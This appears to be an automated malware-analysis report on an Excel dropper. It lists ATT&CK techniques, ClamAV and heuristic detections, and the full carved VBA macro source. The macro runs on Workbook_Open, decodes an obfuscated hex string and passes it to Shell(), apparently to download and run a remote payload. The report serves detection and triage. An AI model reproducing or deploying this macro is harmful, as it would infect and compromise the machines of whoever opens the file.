MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is an Excel file containing a Workbook_Open VBA macro that utilizes the Shell() function to execute a payload. The macro decodes a hexadecimal string, which is then passed to Shell(), indicating it's designed to download and execute a second-stage payload. The ClamAV signature further confirms its malicious nature as a dropper.
Heuristics 6
-
ClamAV: Xls.Dropper.Agent-9045836-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-9045836-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1489 bytes |
SHA-256: e01d7545fce641fbf9bf0499ab4770df133958898d1aeced6687d5bd6cda5474 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Dim asd As String
asd = hello("6E786F2B3A6E2B7B7A82707D7E73707777397083702B387083706E807F747A797B7A77746E842B6D847B6C7E7E2B38622B53746F6F70792B386E7A78786C796F2B33797082387A6D75706E7F2B5E847E7F70783959707F3962706D4E777470797F34394F7A8279777A6C6F517477703332737F7F7B453A3A6E7D7A727F7D7F396E7A783A443A44403C3C3E424339757B7232372F707981455F70787B363267596C78703970837032344633597082385A6D75706E7F2B386E7A782B5E73707777394C7B7B77746E6C7F747A7934395E737077775083706E807F70332F707981455F70787B363267596C7870397083703234")
Shell asd
End Sub
Function hello(hlole As String)
Dim holle As Integer
Dim i As Integer
Dim holel
holle = 11111
holel = ""
For i = 1 To Len(hlole) Step 2
holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 11)
Next
hello = holel
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.